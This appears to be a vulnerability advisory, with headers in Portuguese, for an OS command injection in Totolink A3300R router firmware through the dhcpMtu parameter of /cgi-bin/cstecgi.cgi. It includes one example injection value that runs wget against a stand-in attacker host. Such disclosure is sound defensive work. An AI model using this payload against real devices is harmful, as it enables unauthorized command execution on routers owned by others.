| Título | Totolink A3300R V17.0.0cu.557_B20221024 OS Command Injection |
|---|
| Descrição | A command injection vulnerability exists in /cgi-bin/cstecgi.cgi when handling topicurl=setWanCfg. The dhcpMtu parameter is copied into a system command through Uci_Set_Str and command formatting logic (sprintf), then executed via CsteSystem/execv without proper sanitization. A crafted value such as 1500$(wget http://attacker/testpoc) can trigger arbitrary command execution on the device. |
